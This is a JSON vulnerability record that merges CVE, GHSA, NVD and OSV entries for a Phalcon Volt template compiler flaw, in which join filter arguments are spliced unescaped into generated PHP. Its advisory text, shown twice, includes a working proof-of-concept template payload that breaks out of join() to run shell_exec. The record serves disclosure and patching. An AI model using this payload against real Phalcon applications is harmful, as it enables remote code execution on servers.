{"id":"CVE-2026-59989","aliases":["EUVD-2026-64140","GHSA-hrwp-4hh9-c8r8"],"status":"published","title":"Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)","description":"Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\\Mvc\\View\\Engine\\Volt::render() loads the template. This issue is fixed in version 5.16.0.","severity":{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00543,"percentile":0.46056,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1336","CWE-94"],"published":"2026-08-21T20:25:44Z","modified":"2026-10-28T02:30:29Z","fixes":[{"ecosystem":"Packagist","package":"phalcon/cphalcon","fixed_in":["5.16.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phalcon/cphalcon","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.15.0"},{"fixed":"5.16.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"phalcon/cphalcon","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.16.0"}]}],"versions":["5.10.0","5.12.0","5.9.0","5.9.1","5.9.2","5.9.3","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.0.4","v3.1.0","v3.1.0-alpha1","v3.1.0-alpha2","v3.1.1","v3.1.2","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.2.4","v3.3.0","v3.3.1","v3.3.2","v3.4.0","v3.4.1","v3.4.2","v3.4.3","v3.4.4","v3.4.5","v4.0.0","v4.0.0-alpha.2","v4.0.0-alpha.3","v4.0.0-alpha.4","v4.0.0-alpha.5","v4.0.0-alpha1","v4.0.0-beta.1","v4.0.0-beta.2","v4.0.0-rc.1","v4.0.0-rc.2","v4.0.0-rc.3","v4.0.1","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v5.0.0","v5.0.0-alpha.1","v5.0.0-alpha.2","v5.0.0RC1","v5.0.0RC2","v5.0.0RC3","v5.0.0RC4","v5.0.0alpha3","v5.0.0alpha4","v5.0.0alpha5","v5.0.0alpha6","v5.0.0alpha7","v5.0.0beta1","v5.0.0beta2","v5.0.0beta3","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.1.0","v5.1.1","v5.1.2","v5.1.3","v5.1.4","v5.11.0","v5.11.1","v5.12.1","v5.13.0","v5.14.0","v5.14.1","v5.14.2","v5.15.0","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.5.0","v5.6.0","v5.6.1","v5.6.2","v5.7.0","v5.8.0"]}],"products":[{"vendor":"phalcon","product":"cphalcon"}],"references":[{"url":"https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/phalcon/cphalcon/pull/17217","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/phalcon/cphalcon/releases/tag/v5.16.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59989","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hrwp-4hh9-c8r8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59989.json","tags":["advisory"]},{"url":"https://github.com/phalcon/cphalcon","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-59989","title":"Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)","description":"Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\\Mvc\\View\\Engine\\Volt::render() loads the template. This issue is fixed in version 5.16.0.","status":"published","published":"2026-08-21T20:25:44.767Z","modified":"2026-08-27T16:24:50.7Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-94","CWE-1336"],"updated_at":"2026-11-02T14:19:58.560602Z"}],"euvd":[{"id":"EUVD-2026-64140","description":"Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\\Mvc\\View\\Engine\\Volt::render() loads the template. This issue is fixed in version 5.16.0.","status":"published","published":"2026-08-21T20:25:44Z","modified":"2026-08-27T16:24:50Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:01:27.663452Z"}],"ghsa":[{"id":"GHSA-hrwp-4hh9-c8r8","title":"Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)","description":"## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join('\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"', \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join('\", \u0026_19$$24, \"', \", \u0026_22$$24, \")\");\n```\n\ni.e. literally `\"join('\" + separator + \"', \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = 'id; uname -a; hostname';\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ ['x'] | join(\\\"',[]); echo shell_exec(base64_decode('$b64')); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.","status":"published","published":"2026-08-21T20:55:56Z","modified":"2026-08-27T16:33:46Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94","CWE-1336"],"updated_at":"2026-11-02T14:41:07.031507Z"}],"nvd":[{"id":"CVE-2026-59989","description":"Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\\Mvc\\View\\Engine\\Volt::render() loads the template. This issue is fixed in version 5.16.0.","status":"published","published":"2026-08-21T21:17:00.713Z","modified":"2026-10-12T16:10:00.22Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-1336"],"updated_at":"2026-11-02T14:12:40.665005Z"}],"osv":[{"id":"CVE-2026-59989","title":"Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)","description":"Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\\Mvc\\View\\Engine\\Volt::render() loads the template. This issue is fixed in version 5.16.0.","status":"published","published":"2026-08-21T20:25:44.767Z","modified":"2026-10-28T02:30:29.917899366Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-1336","CWE-94"],"updated_at":"2026-11-02T15:45:12.933503Z"},{"id":"GHSA-hrwp-4hh9-c8r8","title":"Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)","description":"## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join('\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"', \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join('\", \u0026_19$$24, \"', \", \u0026_22$$24, \")\");\n```\n\ni.e. literally `\"join('\" + separator + \"', \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = 'id; uname -a; hostname';\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ ['x'] | join(\\\"',[]); echo shell_exec(base64_decode('$b64')); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.","status":"published","published":"2026-08-21T20:55:56Z","modified":"2026-09-11T05:15:04.527936272Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-1336","CWE-94"],"updated_at":"2026-11-02T15:46:49.621585Z"}]}}
